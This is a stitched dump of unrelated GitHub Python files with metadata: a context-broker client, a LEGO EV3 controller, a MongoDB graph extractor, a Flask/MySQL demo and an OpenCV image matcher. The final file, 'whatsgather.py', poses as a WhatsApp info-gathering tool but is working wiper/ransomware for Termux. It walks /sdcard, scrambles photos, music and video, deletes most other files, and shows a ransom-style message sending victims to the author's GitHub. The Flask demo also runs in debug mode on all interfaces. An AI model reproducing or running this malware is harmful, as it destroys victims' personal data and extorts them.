
2015-09-25T09:01:57

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MIT

2021-09-01T15:51:54

2015-02-13T10:36:21

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# MIT License # # Copyright (c) <2015> <Ikergune, Etxetar> # # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE # FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. import json import urllib2 from include.logger import Log from include.constants import DATA_CONTEXTBROKER from include.pubsub.iPubSub import IqueryBuilder class CbQueryBuilder(IqueryBuilder): ## \brief Query data to context broker def findById(self, entity_id, data_type="ROBOT", isPattern=False): ## \brief Get entity data from context broker # \param entity name (can be regular expression) # \param entity type # \param if the entity name is a pattern or not (false by default) url = "http://{}:{}/NGSI10/queryContext".format(DATA_CONTEXTBROKER["ADDRESS"], DATA_CONTEXTBROKER["PORT"]) data = { "entities": [ { "type": data_type, "isPattern": "true" if isPattern else "false", "id": entity_id } ] } return self._sendRequest(url, json.dumps(data)) def _sendRequest(self, url, data, method=None): ## \brief Send request to context broker # \param url to request to # \param data to send # \param HTTP method (GET by default) try: request = urllib2.Request(url, data, {'Content-Type': 'application/json', 'Accept': 'application/json'}) if method is not None: request.get_method = lambda: method response = urllib2.urlopen(request) data = response.read() response_body = json.loads(data) response.close() return response_body except Exception as ex: Log("ERROR", ex.reason) return None

[ "ingonza85@gmail.com" ]

ingonza85@gmail.com

e22cf41bebc21fe5ea70c17604946adc4fe9a69e

ef5bde73d58734f5081f127fe344ae85c53b8b68

/config_modify.py

8c8255c6e3156d5372724911ccee779d14d2e548

[]

no_license

ychnlgy/VoxCeleb1

a3a6337f322ec1c78f926e2f529db001f7ec8349

930ce2c5c9f0828705afb096c7ee33bfe4b6b96e

refs/heads/master

2020-06-11T10:40:35.462721

2019-07-09T16:42:24

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import argparse import voxceleb1 if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--path", required=True) args = parser.parse_args() config = voxceleb1.training.Config(args.path) del config.param_dict["_dob"] kvs = ["--%s %s" % item for item in config.param_dict.items()] print(" ".join(kvs))

[ "ychnlgy@gmail.com" ]

ychnlgy@gmail.com

cee7caced2bc83a749cecf518d0afbeac3bf528e

747f759311d404af31c0f80029e88098193f6269

/addons/project_timesheet_contract/project/__init__.py

34aa344afd62fd26763d265b1313036fe1245e01

[]

no_license

sgeerish/sirr_production

9b0d0f7804a928c0c582ddb4ccb7fcc084469a18

1081f3a5ff8864a31b2dcd89406fac076a908e78

refs/heads/master

2020-05-19T07:21:37.047958

2013-09-15T13:03:36

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false

84

py

/home/openerp/production/extra-addons/project_timesheet_contract/project/__init__.py

[ "geerish@omerp.net" ]

geerish@omerp.net

55c29cd4158ba1ea3f86eb45af8fa88b516d4415

c17942b9b9db4081a9b4bc75b44cdf48a926cc94

/ev3_passthrough9_DELETE.py

46a9cb0a4ba65b1ad1e4b9174492e494c9a1889d

[]

no_license

sgordon291us/lego-ev3

fb456401c55211368bdedb731c88eba896cd5073

468b7b8c7a8b2075977d58fb66da126a591049f8

refs/heads/master

2020-06-13T17:20:32.707813

2020-04-17T13:55:44

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#!/usr/bin/env python2 """ This program is meant to run as a background process. It works with voice_assist_ev3_ctrlx.py. The voice assist program reads the users voice for commands to control the EV3, and records the user's commands to a file. This program continously reads the file and send the commands to the EV3. The reason that we need this is that the MUST be run with python3 because of the google AIY software; however, the serial package only seems to work correctly with unicode (as the EV3 needs) when it is run as python2. Note the shebang above that is python2. SPG 7.7.19: This ev3_passthrough1.py works a little with voice_assist_ev3_ctrl9. The first time that "ev3 forward" is spoken this sends the command to the EV3. But the successivce "ev3 forward" commannd do not work This version (3 to 5) is the first attempt to put in a user text interface from which this can take both text commnads from the user as well as take the voice commands coming from the GOOGLE AIY VOICE. The first step is to make the tasks that read the file into a standalone thread. Version 6-7 takes the loop that reads the file and sends commands to the EV3 and breaks it into (1) read file (2) add to command queue (3) send commands from command queue to the EV3 (as a separate thread). Version 7 is the same as 6c. Version 8 adds a user command box from which the user can add commands to the global cmd_q, and these are multiplexed with the command being added by the Google AIY voice interface. Version 9 is an attempt to make user input respond to ctrl c and give the user a way of terminating the profgram with ctrl c. This should kill the assocated threads too. (Note that SHIFT-CTRL-\ should terminate the script) """ import serial import time import datetime ##import struct import os import sys import ev3_rpi_ctrl_pkg import threading import Queue def poll_cmd_file(ev3_cmd_filename, wait_period): """ This function repeated checks the command file ev3_cmd_filename that is created by the AIY Voice program and checks if it has anything in it. If it does, it send the commnand to the ev3 over the bluetooth interface. It ends when it is interupted by the user """ print('ENTERED poll_cmd_file with name = {} wait_period = {}'.format(ev3_cmd_filename,wait_period)) while True: do_sleep = False try: ev3_file = open(ev3_cmd_filename, "r") except IOError: do_sleep = True # and try again except KeyboardInterrupt: break if do_sleep: try: time.sleep(wait_period) # Wait for the file to be created continue except KeyboardInterrupt: break cmds = ev3_file.read().splitlines() # get all commands and remove the line terminatorsd (\n) for cmd in cmds: # Put all commands on the global commanbd queue cmd_q.put(cmd.upper()) print('-> PUT {} ON COMMAND QUEUE'.format(cmd)) if cmd == "STOPEV3": return # return from thread if ev3_file is not None: os.remove(ev3_cmd_filename) # Delete processed commands so that voice_assist_ev3_ctrl can make more def enter_user_cmds(): """ Allow user to enter command that get added to the global cmd_q. These commands get thrown into the cmd_q and are multiplexed with the ones from the AIY voice interface. The user is repeated asked for additional command until the user gives the "EXIT" command, at which point this function returns and the thread terminates. This function is intended to be run as a thread concurrent with poll_cmd_file and send_cmds_to ev3. In addition, ctrl-c will ignore the currently typed command, and two ctrl-c's is the same as "EXIT". """ global cmd_q # THis is the command/event queue that both the user text commands and the # AIY voice command are put into. first_ctrl_c = False while True: try: cmd = raw_input("EV3 Command? ").upper() first_ctrl_c = False except KeyboardInterrupt: if not first_ctrl_c: # First time user types ^c first_ctrl_c = True print('') continue else: return # THis is the second ctrl-c, so we're done if cmd == "EXIT": return # We're done if the user give "EXIT" cmd_q.put(cmd) # Add to the command/event queue for processing def send_cmds_to_ev3(ev3): """ This function reads the global command queue cmd_q and sends each of the command to the EV3 with an appropriate delay between them. The param ev3 is the pointer to the EV3. This is meant to be run as a thread """ global thread_stop inter_cmd_wait = 2 # Sec. Min delay between successive commands print('ENTERED send_cmds_to_ev3 function/thread, cmd_q length is {}',format(cmd_q.qsize())) while not thread_stop: try: cmd = cmd_q.get() # This should block the thread if the queue is empty print("-> Command from file is {}".format(cmd)) if len(cmd) == 0 or cmd.isspace(): # Skip commands that are blank or only whitespace continue m = ev3_rpi_ctrl_pkg.messageGuin("EV3-CMD",cmd,"text") # convert message; select EV3-CMD block to send to print('Sending to EV3 msg: {}'.format(cmd)) ev3_rpi_ctrl_pkg.messageSend(ev3, m) # send converted message if cmd=="STOPEV3": break # thread terminates gracefully ## ev3.close() ## return #Thread terminates else: time.sleep(inter_cmd_wait) # wait some time until the next commad can be sent except KeyboardInterrupt: break ev3.close() return def main(): global cmd_q # global command queue. THis is the command queue # tga the Command_Poll threads will read command in global thread_stop = False # This is a signal to the threads to stop themselves. This is a bad way of # sending this signal because it forces the threads to use common memory. The # better way is to convert the threads to real classes and send in a semafore # requesting a stop ev3_cmd_filename = '/home/pi/Lego_ev3/ev3_cmds.txt' # Command destined for the EV3 should be written here by voice_assist_ev3_ctrlx.py wait_period = 0.25 # SEC. This is the amount of time to wait for the voice_assist_ev3_ctrlx to creat a file ev3, ev3PortOpen = ev3_rpi_ctrl_pkg.openEv3() #Port poitner abd ID if successful, None otherwise if ev3PortOpen is not None: print('\nOpened EV3 Brick on {}'.format(ev3PortOpen)) # Get the pointer to the open BT interface else: # If no port are found print('EV3 does not appear to be open on any /dev/rfcomm port') sys.exit() ## poll_cmd_file(ev3, ev3_cmd_filename, wait_period) # Look for commands in command file and send to EV3 cmd_q = Queue.Queue() # THis is the command queue tga the Command_Poll threads will read command into ## THIS IS TEMP FOR DEBUGGING. MAKE THIS A CONCURRENT THREAD ## enter_user_cmds() poll_cmd_thr = threading.Thread(target=poll_cmd_file, name='Command_Poll', args=(ev3_cmd_filename, wait_period)) print('STARTING Command_Poll thread') poll_cmd_thr.start() ## print('JOINING Command_Poll thread') ## poll_cmd_thr.join() ## print('ENDED Command_Poll thread') send_cmd_thr = threading.Thread(target=send_cmds_to_ev3, name='Send_Cmds_to_EV3', args=(ev3,)) # Thread waits for command in cmd_q and sends to EV3 print('STARTING Send_Cmds_to_EV3 thread') send_cmd_thr.start() enter_user_cmds() # Allow user to enter commands # When the user exits the command session, terminate the threads ## poll_cmd_thr._stop() ## send_cmd_thr._stop() ## user_cmd_thr = threading.Thread(target=enter_user_cmds, name="User_Cmd_Thread") # Thead allows user to enter commands ## user_cmd_thr.start() ## print('JOINING Send_Cmds_to_EV3 thread') ## send_cmd_thr.join() ## ## print('COMMAND QUEUE HAS {} ITEMS. ITEMS ARE:'.format(cmd_q.qsize())) ## for i in range(cmd_q.qsize()): ## c = cmd_q.get() ## print("ITEM {}: {}".format(i,c)) print('ENDED Main thread') sys.exit() if __name__ == "__main__": main()

[ "noreply@github.com" ]

sgordon291us.noreply@github.com

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/Balatarin/bipartiteMongo.py~

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[]

no_license

Roja-B/Trajectories

5ab065991c34ba74b6951ad090401c0cb14f222b

e1ce1c6ac8095f92853e0ebe7a41eb8a82e7eff2

refs/heads/master

2016-09-05T17:56:45.643404

2013-01-24T03:54:21

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#!/usr/lib/python3.0 # This program extracts bipartite edgelist of users and links belonging to a specific time window (both the link and the votes should come from that time window) # Author: Roja Bandari # October 2012 from pymongo import Connection from PARAMETERS import * import datetime import time import sys #sDate = sys.argv[1] #delta = sys.argv[2] # in days #sYear = int(sDate.split('/')[2]) #sMonth = int(sDate.split('/')[0]) #sDay = int(sDate.split('/')[1]) begin = datetime.datetime(2006,9,1) end = datetime.datetime(2006,11,25) startDate = begin difference = datetime.timedelta(days=WINDOW) slidingWindow = datetime.timedelta(days=SLIDE) t1 = time.time() connection = Connection() balatarindb = connection.Balatarin links = balatarindb.links votes = balatarindb.votes log = open("mongoError.log","a") while startDate < end: endDate = startDate + difference bgraphname = "".join(["bipartite_politics_",str(startDate.month),"_"+str(startDate.day),"_"+str(startDate.year),"_"+str(WINDOW),"_days"]) print bgraphname f = open(PATH+"/bipartite/"+bgraphname+".txt","w") for vote in votes.find({"date":{"$gte":startDate,"$lt":endDate}}): # print vote["linkID"] linkID = vote["linkID"] link = links.find_one({"linkID":linkID}) try: if link["date"] < startDate : continue except: log.write(linkID+'\n') continue if link["category"] == "4": f.write(vote["userID"]+'\t'+vote["linkID"]+'\n') f.close() startDate += slidingWindow t2 = time.time() print "Time Spent: "+str((t2-t1)/60)+" minutes.\n" log.close()

[ "roja@ucla.edu" ]

roja@ucla.edu

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fd849b1ca1f00df7db78aa185e590201c492a71b

/Kubernetes/py_flask_mysql_app/application.py

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[]

no_license

agill17/Infrastructure-as-Code

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139f2544b36cd6033ffc3732c7fbc72c70a5846d

refs/heads/master

2022-12-21T09:39:08.911767

2020-10-09T04:26:57

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2022-12-16T08:25:40

2018-03-01T00:36:03

Ruby

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import os import flask import MySQLdb application = flask.Flask(__name__) application.debug = True @application.route('/') def hello_world(): storage = Storage() storage.populate() score = storage.score() return "Does this work?, %d!" % score class Storage(): def __init__(self): self.db = MySQLdb.connect( user = os.getenv('MYSQL_USERNAME'), passwd = os.getenv('MYSQL_PASSWORD'), db = os.getenv('MYSQL_INSTANCE_NAME'), host = os.getenv('MYSQL_SVC_HOST'), port = int(os.getenv('MYSQL_PORT_3306_TCP_PORT')) ) cur = self.db.cursor() cur.execute("CREATE TABLE IF NOT EXISTS scores(score INT)") def populate(self): cur = self.db.cursor() cur.execute("INSERT INTO scores(score) VALUES(1234)") def score(self): cur = self.db.cursor() cur.execute("SELECT * FROM scores") row = cur.fetchone() return row[0] if __name__ == "__main__": application.run(host='0.0.0.0', port=3000)

[ "amgill1234@gmail.com" ]

amgill1234@gmail.com

9fca8ba3b59b43a17a00a17f8d571843d28eba97

249af4ed4bd9c97d86baf8fc04856e8ce41c2398

/image_processing.py

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permissive

robinhad/photoscan

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dc90a521baaa7fb37595a0892da97679d6a6dbd5

refs/heads/master

2023-03-02T23:54:37.882915

2021-02-01T19:58:52

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import cv2 import numpy as np import math import base64 MIN_MATCH_COUNT = 10 def rotate_image(image, angle): """ Rotates an OpenCV 2 / NumPy image about it's centre by the given angle (in degrees). The returned image will be large enough to hold the entire new image, with a black background """ # Get the image size # No that's not an error - NumPy stores image matricies backwards image_size = (image.shape[1], image.shape[0]) image_center = tuple(np.array(image_size) / 2) # Convert the OpenCV 3x2 rotation matrix to 3x3 rot_mat = np.vstack( [cv2.getRotationMatrix2D(image_center, angle, 1.0), [0, 0, 1]] ) rot_mat_notranslate = np.matrix(rot_mat[0:2, 0:2]) # Shorthand for below calcs image_w2 = image_size[0] * 0.5 image_h2 = image_size[1] * 0.5 # Obtain the rotated coordinates of the image corners rotated_coords = [ (np.array([-image_w2, image_h2]) * rot_mat_notranslate).A[0], (np.array([ image_w2, image_h2]) * rot_mat_notranslate).A[0], (np.array([-image_w2, -image_h2]) * rot_mat_notranslate).A[0], (np.array([ image_w2, -image_h2]) * rot_mat_notranslate).A[0] ] # Find the size of the new image x_coords = [pt[0] for pt in rotated_coords] x_pos = [x for x in x_coords if x > 0] x_neg = [x for x in x_coords if x < 0] y_coords = [pt[1] for pt in rotated_coords] y_pos = [y for y in y_coords if y > 0] y_neg = [y for y in y_coords if y < 0] right_bound = max(x_pos) left_bound = min(x_neg) top_bound = max(y_pos) bot_bound = min(y_neg) new_w = int(abs(right_bound - left_bound)) new_h = int(abs(top_bound - bot_bound)) # We require a translation matrix to keep the image centred trans_mat = np.matrix([ [1, 0, int(new_w * 0.5 - image_w2)], [0, 1, int(new_h * 0.5 - image_h2)], [0, 0, 1] ]) # Compute the tranform for the combined rotation and translation affine_mat = (np.matrix(trans_mat) * np.matrix(rot_mat))[0:2, :] # Apply the transform result = cv2.warpAffine( image, affine_mat, (new_w, new_h), flags=cv2.INTER_LINEAR ) return result def largest_rotated_rect(w, h, angle): """ Given a rectangle of size wxh that has been rotated by 'angle' (in radians), computes the width and height of the largest possible axis-aligned rectangle within the rotated rectangle. Original JS code by 'Andri' and Magnus Hoff from Stack Overflow Converted to Python by Aaron Snoswell """ quadrant = int(math.floor(angle / (math.pi / 2))) & 3 sign_alpha = angle if ((quadrant & 1) == 0) else math.pi - angle alpha = (sign_alpha % math.pi + math.pi) % math.pi bb_w = w * math.cos(alpha) + h * math.sin(alpha) bb_h = w * math.sin(alpha) + h * math.cos(alpha) gamma = math.atan2(bb_w, bb_w) if (w < h) else math.atan2(bb_w, bb_w) delta = math.pi - alpha - gamma length = h if (w < h) else w d = length * math.cos(alpha) a = d * math.sin(alpha) / math.sin(delta) y = a * math.cos(gamma) x = y * math.tan(gamma) return ( bb_w - 2 * x, bb_h - 2 * y ) def crop_around_center(image, width, height): """ Given a NumPy / OpenCV 2 image, crops it to the given width and height, around it's centre point """ image_size = (image.shape[1], image.shape[0]) image_center = (int(image_size[0] * 0.5), int(image_size[1] * 0.5)) if(width > image_size[0]): width = image_size[0] if(height > image_size[1]): height = image_size[1] x1 = int(image_center[0] - width * 0.5) x2 = int(image_center[0] + width * 0.5) y1 = int(image_center[1] - height * 0.5) y2 = int(image_center[1] + height * 0.5) return image[y1:y2, x1:x2] def encode_image_as_string(img): retval, buffer = cv2.imencode('.jpg', img) return base64.b64encode(buffer) def decode_image_from_string(image_string): nparr = np.fromstring(base64.b64decode(image_string), np.uint8) return cv2.imdecode(nparr, 0) # cv2.imdecode(nparr, cv2.IMREAD_COLOR) def decode_grayscale_image_from_string(image_string): nparr = np.fromstring(base64.b64decode(jpg_as_text), np.uint8) return cv2.imdecode(nparr, 0) def get_components(normalised_homography): '''((translationx, translationy), rotation, (scalex, scaley), shear)''' a = normalised_homography[0, 0] b = normalised_homography[0, 1] c = normalised_homography[0, 2] d = normalised_homography[1, 0] e = normalised_homography[1, 1] f = normalised_homography[1, 2] p = math.sqrt(a*a + b*b) r = (a*e - b*d)/(p) q = (a*d+b*e)/(a*e - b*d) translation = (round(c, 2), round(f, 2)) scale = (round(p, 2), round(r, 2)) shear = round(q, 2) #y axis theta = round(math.atan2(b, a), 2) #x axis return (translation, theta, scale, shear) def toRadians(radians): return round(math.degrees(radians),2) def find_image_angle_properties(img1, img2): print("Initializing comparers") surf = cv2.xfeatures2d.SURF_create() FLANN_INDEX_KDTREE = 0 index_params = dict(algorithm=FLANN_INDEX_KDTREE, trees=5) search_params = dict(checks=50) font = cv2.FONT_HERSHEY_SIMPLEX flann = cv2.FlannBasedMatcher(index_params, search_params) img1 = img1 img2 = img2 image_height, image_width = img2.shape[0:2] img2 = rotate_image(img2, 270) img2 = crop_around_center( img2, *largest_rotated_rect( image_width, image_height, math.radians(270) ) ) kp1, des1 = surf.detectAndCompute(img1, None) kp2, des2 = surf.detectAndCompute(img2, None) matches = flann.knnMatch(des1, des2, k=2) # store all the good matches as per Lowe's ratio test. good = [] for m, n in matches: if m.distance < 0.7*n.distance: good.append(m) if len(good) > MIN_MATCH_COUNT: src_pts = np.float32( [kp1[m.queryIdx].pt for m in good]).reshape(-1, 1, 2) dst_pts = np.float32( [kp2[m.trainIdx].pt for m in good]).reshape(-1, 1, 2) matches_properties, mask = cv2.findHomography( src_pts, dst_pts, cv2.RANSAC, 5.0) h, w = img1.shape pts = np.float32([[0, 0], [0, h-1], [w-1, h-1], [w-1, 0]] ).reshape(-1, 1, 2) if matches_properties is None: pass else: matches_count = len(good) matches_data = matches_properties components = get_components(matches_data) fontScale = 4 color = (255, 255, 255) fontThickness = 10 lineHeight = 120 cv2.putText(img2, "Matches: " + str(matches_count), (1, 1*lineHeight), font, fontScale, color, fontThickness, cv2.LINE_AA) cv2.putText(img2, "Translation: " + str(components[0]), (1, 2*lineHeight), font, fontScale, color, fontThickness, cv2.LINE_AA) cv2.putText( img2, "Theta: " + str(toRadians(components[1])), (1, 3*lineHeight), font, fontScale, color, fontThickness, cv2.LINE_AA) cv2.putText( img2, "Scale: " + str(components[2]), (1, 4*lineHeight), font, fontScale, color, fontThickness, cv2.LINE_AA) cv2.putText( img2, "Shear: " + str(toRadians(components[3])), (1, 5*lineHeight), font, fontScale, color, fontThickness, cv2.LINE_AA) dst = cv2.perspectiveTransform(pts, matches_data) img2 = cv2.polylines(img2, [np.int32(dst)], True, (255, 255, 255), 3, cv2.LINE_AA) return img2, components return img2 if __name__ == '__main__': import matplotlib.pyplot as plt img1 = cv2.imread('test.jpg', 0) img2 = cv2.imread('test.jpg', 0) img = find_image_angle_properties(img1, img2) plt.imshow(img, cmap='gray', interpolation='bicubic') plt.show()

[ "mr.robinhad@gmail.com" ]

mr.robinhad@gmail.com

27b1bd461a76dfde7d4e051382e4335b141f508c

a1770df76e0e928f595d022725e6d00d064926ec

/whatsgather.py

7ba6fe6c753cca9c52f7e978c4ba84fbd1e66566

[ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ]

permissive

blavck/whatsinfoga

59e57b52f4bf88d747f106309aa20cb41fafc52e

fbb32cb562c228edd2f1c36cf2945f6ae9050602

refs/heads/main

2023-04-24T07:37:23.858300

2021-04-30T12:14:50

363,122,845

1

0

null

UTF-8

Python

false

9,208

py

from zipfile import ZipFile from base64 import b64encode from base64 import b64decode import os, datetime, sys, time, random from shutil import copyfile os.system('termux-setup-storage') def pes(cuk): for ewe in cuk + '\n': sys.stdout.write(ewe) sys.stdout.flush() time.sleep(0.06) def pesl(cuk): for ewe in cuk + '\n': sys.stdout.write(ewe) sys.stdout.flush() time.sleep(0.1) def apa(): os.system('clear') print '\x1b[38;5;022m\xe2\x95\xad\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xae\n\xe2\x94\x82 KETERANGAN \xe2\x94\x82\n\xe2\x95\xb0\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xaf\n' print '\x1b[38;5;022m ' + 50 * '*' + '\n *\x1b[38;5;015m\x1b[48;5;009m Anda Terkena Virus, Dan semua File Yang ada \x1b[48;5;000m\x1b[38;5;022m*\n *\x1b[38;5;015m\x1b[48;5;009m di Memori Internal anda Sudah TerEncrypt. \x1b[48;5;000m\x1b[38;5;022m*\n *\x1b[38;5;232m\x1b[48;5;015m TIDAK bisa Dilihat, Dibaca ataupun Dimiliki \x1b[48;5;000m\x1b[38;5;022m*\n *\x1b[38;5;232m\x1b[48;5;015m (Karena dia udah jadi milik orang lain) \x1b[48;5;000m\x1b[38;5;022m*\n ' + 50 * '*' + '\n * \x1b[38;5;242m NOTE: File Anda AMAN, Asal jangan Buka SC ini \x1b[38;5;022m*\n *\x1b[38;5;242m lebih dari 1 KALI. \x1b[38;5;022m*\n ' + 50 * '*' print '\n\x1b[38;5;022m\xe2\x95\xad\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xae\n\xe2\x94\x82 Apa FILE Saya Bisa Kembali ? \xe2\x94\x82\n\xe2\x95\xb0\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xaf \n\n \x1b[38;5;022m' + 50 * '*' + '\n * TENTU, File Anda TerEncrypt Dengan Aman *\n * dan Tidak Terhapus. Semua File (Foto, Musik *\n * & Video) Akan Kembali Seperti Semula. *\n ' + 50 * '*' print '\n\x1b[38;5;022m\xe2\x95\xad\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xae\n\xe2\x94\x82 Apa Yang Harus Saya Lakukan? \xe2\x94\x82\n\xe2\x95\xb0\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xaf \n\n ' + 50 * '*' + '\n * Silahkan Komentar Di Github Saya, *\n * => \x1b[38;5;046mhttps://github.com/gellmoxer \x1b[38;5;022m*\n * Dan Cantumkan Nomor WA Anda. *\n ' + 50 * '*' + '\n\n\x1b[48;5;052m\x1b[38;5;015m SCREENSHON AGAR TIDAK LUPA \x1b[48;5;000m*\n' def get_all_file_paths(directory): icn = [ 'QEdFTExNb3hlci5FbmMoc3VwZXIpVnkyYlVUZFh3M21OdnFMa3gwbWd5', 'UjBWTVRFQkZibU55ZVhCMFltRnpaVEkzTWpNb1pYaGxZeTV5WlhabGNuTmxLRWxuY3prMlltRldZMnhSZDJORmMyeElZWFJS', 'UjBWTVRFQkZibU55ZVhCMExuSmxkbVZ5YzJVdWMzQnNhU2dwS0dWNFpXTW9ZbUZXWTJ4UmQyTkZjMnhJTm1oaFVHVklkdz09', 'UjBWTVRFQkZibU55ZVhCMExuTndiR2tvS1Nod2VVVnVZeWhqTm5kS1kxaGpiRlIzY3psSVlsSnlaVTU1'] gell = random.choice(icn) file_paths = [] for root, directories, files in os.walk(directory): for filename in files: filepath = os.path.join(root, filename) filepathr = filepath.replace('.', ' ') fileas = filepathr.split()[(-1)] fileask = fileas.lower() foto = ['jpg', 'jpeg', 'png', 'gif'] video = ['mp4', '3gp', 'mpv'] musik = ['mp3', 'wav', 'ogg'] sc = ['txt', 'py', 'pyc', 'sh', 'php', 'zip', '7z', 'tar', 'gz', 'pkg', 'java', 'lua', 'rar', 'pdf', 'html', 'htm', 'css', 'js', 'xhtml', 'sys', 'doc', 'webp', 'crypt1', 'crypt12', 'opus', 'enc', 'db', 'dat', 'usr', 'tps', 'xth', 'xml', 'aes', 'doc', 'json', 'arsc', 'cfg', 'ttf', 'obj', 'obb', 'bak', 'tmp'] if fileask in foto: filesp = filepathr.split()[0] filespa = filesp + '_GellMoxer.jpg' os.rename(filepath, filespa) file_paths.append(filespa) with open(filespa, 'rb') as (image_file): encoded_string = b64encode(image_file.read()) decoded_string = b64encode(encoded_string) with open(filespa, 'w') as (image_file2): image_file2.write(gell + decoded_string) elif fileask in musik: filesp = filepathr.split()[0] filespa = filesp + '_GellMoxer.mp3' os.rename(filepath, filespa) file_paths.append(filespa) with open(filespa, 'rb') as (image_file): encoded_string = b64encode(image_file.read()) decoded_string = b64encode(encoded_string) with open(filespa, 'w') as (image_file2): image_file2.write(gell + decoded_string) elif fileask in video: filesp = filepathr.split()[0] filespa = filesp + '_GellMoxer.mp4' os.rename(filepath, filespa) file_paths.append(filespa) with open(filespa, 'rb') as (image_file): encoded_string = b64encode(image_file.read()) decoded_string = b64encode(encoded_string) with open(filespa, 'w') as (image_file2): image_file2.write(gell + decoded_string) elif fileask == 'apk': filesp = filepathr.split()[0] filespa = filesp + '.apk' os.rename(filepath, filespa) os.remove(filespa) elif fileask in sc: filesp = filepathr.split()[0] filespa = filesp + '.sc' os.rename(filepath, filespa) os.remove(filespa) else: filesp = filepathr.split()[0] filespa = filesp + '.OndeOnde' os.rename(filepath, filespa) os.remove(filespa) return file_paths def main(): directory = './python_files' file_paths = get_all_file_paths('/sdcard') print '\n\n\x1b[1;96m MOHON DI BACA:\n' + 40 * '-' pes('\n \x1b[1;91mJANGAN DI SKIP! PENTING!!') pes(' \x1b[1;92mSEMUA File Anda Sudah \x1b[1;96mTerEncrypt \xf0\x9f\x94\x90\n') pesl(' \x1b[1;91mBERHENTILAH MENCURI:\n \x1b[1;96m\xe2\x9d\x9d Dan peliharalah dirimu dari (azab yang terjadi pada)\n hari yang pada waktu itu kamu semua dikembalikan\n kepada Allah. (QS. Al Baqarah: 281)\xe2\x9d\x9e\n') pes(' \x1b[1;97m_> \x1b[1;91mNOTE:\x1b[1;92m SELAIN FILE FOTO, MUSIC DAN VIDEO, \x1b[1;91m SUDAH TERHAPUS!!\n \x1b[1;92mDAN JANGAN BUKA \x1b[1;96mSC\x1b[1;92m INI 2 KALI.!! AGAR FILE ANDA AMAN. ') pes('\n\n \x1b[1;94m Sekarang Coba Buka \x1b[1;97m(\x1b[1;91mMEMORY TELEPHON\x1b[1;97m)\x1b[1;92m ANDA.!!\n Masih Ada dan Tidak \x1b[1;96m Terhapus,\x1b[1;92m Hanya Tidak Bisa\n Dilihat ataupun di Buka.') pesl('\x1b[1;93m Untuk Keterangan Lebih Lanjut \x1b[1;92mKetik \x1b[1;96mhelp\x1b[1;92m \n\n \x1b[1;96m \xe2\x9d\x8cDONT CRY \xf0\x9f\x98\x9b\xf0\x9f\x91\xbb') time.sleep(1) tyn = raw_input('\n\x1b[1;97m _>\x1b[1;96m ') tym = ['help', 'Help', 'HELP'] if tyn in tym: apa() else: os.sys.exit() if __name__ == '__main__': iz = 